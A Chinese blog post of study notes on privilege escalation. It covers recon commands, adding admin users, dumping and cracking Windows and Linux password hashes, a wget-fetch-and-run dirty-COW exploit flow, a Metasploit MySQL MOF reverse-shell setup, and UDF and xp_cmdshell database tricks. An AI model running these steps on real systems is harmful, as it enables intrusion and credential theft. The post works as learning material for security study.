zoukankan      html  css  js  c++  java
  • 提权初探

    参考教程

    内网渗透详解
    此文作为一个学习笔记

    基础命令

    whoami  # 查看当前用户权限
    query user  # 查看用户登陆情况
    systeminfo  # 查看当前系统版本与补丁信息
    net user user password /add  # 添加用户
    net localgroup administrators user /add  # 添加到管理员组
    net loclagroup "Remote Desktop Users" user /add  # 添加到远程桌面组
    ipconfig  # 查 IP
    netstat -ano  # 看端口
    wmic product get name,version  # 看应用
    dir c:   # 看目录
    type c:UsersadminDesktop1.txt  # 看文件
    echo string>2.txt  # 写入到文件,特殊字符前需要加 ^
    copy 1.txt 3.php  # 赋值文件
    rename d:2.txt mspaint.bat  # 重命名文件
    tasklist  # 查看所有进程
    taskkill /im xxx.exe /f  # 强制结束某个进程
    set  # 查看环境变量
    
    cat /etc/issue  # 查看发行版本
    uname -an  # 查看内核版本
    id/whoami  # 当前身份
    ip addr/ifconfig  # 查 IP
    cat /root/.bash_history  # 历史命令
    dpkg -l  # 显示所有软件
    

    权限分类

    • 匿名访问权限
    • 来并权限
    • 用户权限
    • 管理员权限 administrator
    • 系统权限 root/system

    当前权限无法实现我们的目标,如增删改执行等

    提权分类

    • 本地溢出提权
    • 数据库提权
    • 第三方软件提权
    • 信息泄露

    提权 exploit 库

    How 怎么提权

    基于密码破解的提权

    • Windows 密码获取与破解


    有 NT-hash 可直接破解,在线网站:cmd5objectif-securite

    --- 获取 Windows hash 与破解

    1. SAM、SYSTEM 文件存储位置
      C:WindowsSystem32configSAM
      C:WindowsSystem32configSYSTEM

    2. 工具抓取 hash
      gethashsPwdumpWce

    3. msf 抓取 hash
      post/windows/gather/hashdump

    4. 破解(暴力) hash
      工具破解 SAM、SYSTEM 文件
      彩虹表破解

    5. 抓取明文密码
      工具抓取:WcegetpassMimikatz

    • Linux 密码获取与破解

    --- 获取 Linux hash 与破解

    1. 密码文件

    Linux 存放密码相关的文件有:/etc/passwd/etc/shadow
    其中 /etc/passwd 全用户可读, root可写;/etc/shadow root用户可读写
    其中 /etc/passwd存放用户,以下面的例子为例:

    kali:x:1000:1000:Kali,,,:/home/kali:/bin/bash
    

    以冒号为分格,第一列是用户名,第二列是密码,x 代表密码 hash 被放在 shadow 文件里面

    kali:$6$BiEAYF4pzDp5QJXH$00iURpImugngJWdAraUxBFfU76xovc6mwuQMe479uN28NesybQxOW7TiLxqrn99nJCfvISJtJiXgIjtTicF720:18390:0:99999:7:::
    

    同样以冒号分格,第一列是用户名,第二列是密码

    1. 破解
      $1$ 开头,在线网站破解
      其他,工具破解:john

    windows 提权

    • 信息收集

    SAM 文件、日志

    • 内核提权

    系统信息

    • 数据库提权

    • 应用提权

    Liunx 提权

    • Linux 分析工具

    linux-exploit-suggester

    • 内核提权(脏牛)
    wget https://xxx.com/exp.c
    gcc -o exp exp.c
    chmod +x exp
    ./exp
    
    • 软件 CVE

    exim cve-2016-1531

    • 历史记录提权

    /root/.bash_history等敏感文件可能存有账号密码

    SQL Server 提权

    • 常用数据库语句
    select @@version  # 查看数据库版本
    exec master..xp_msver  # 查看数据库系统参数
    sp_helpsrvrolemember  # 查看用户所属角色信息
    select db_name()  # 查看当前数据库
    xp_avaliablemedia  # 显示驱动器
    
    
    # 查看当前账户权限
    select IS_SRVROLEMEMBER("sysadmin")  # serveradmin、setupadmin、securityadmin、diskadmin、bulkadmin
    select IS_MEMBER("db_owner")
    # 添加用户
    exec master.dbo.sp_addlogin user,password  # 添加用户
    exec master.dbo.sp_addsrvrolemember user,password  # 添加权限
    # 启动/停止服务
    exec master..xp_servicecontrol 'start','服务'
    exec master..xp_servicecontrol 'stop','服务'
    # 检查功能
    select count(*) from master.dbo.sysobjects where name="xp_cmdshell"  # xp_regread、sp_makewebtask、xp_subdirs、xp_dirtree、sp_addextendedproc
    

    MySQL 提权

    • 常用数据库语句
    select @@basedir  # 数据库目录地址
    select @@plugin_dir  # 数据库插件 version>5.1
    
    • mof 托管对象提权(c:/windows/system32/wbem/mof/)

    msf mof 提权操作

    use exploit/windows/mysql/mysql_mof
    set password xxx
    set username xxx
    set rhost xxx
    set rport xxx
    set payload windows/shell_reverse_tcp
    set lhost xxx
    set lport xxx
    exploit
    
    • udf 用户定义函数提权
    导出 c:\windows\udf.dll
    Create Function cmdshell returns string soname "udf.dll";
    select cmdshell("whoami");
    drop function cmdshell
    

    一般操作

    • 首先前提是有一个低权限的 shell
    • 上传/下载 exp 或者一些提权程序
    • 执行 exp 或者通过程序执行命令
  • 相关阅读:
    开源的Ajax.Net类库
    开放的即时通信协议Jabber
    代码生成工具之MyGeneration
    清华梦的粉碎—写给清华大学的退学申请(牛人 王垠 )
    [.NET网格计算框架] Alchemi
    .net安全类库
    使用Facility:EnterpriseLibrary整合进Castle
    castle project 发布新版本
    10招步骤保护IIS服务器安全
    应用IBatisNet+Castle进行项目的开发
  • 原文地址:https://www.cnblogs.com/wjrblogs/p/13412820.html
Copyright © 2011-2022 走看看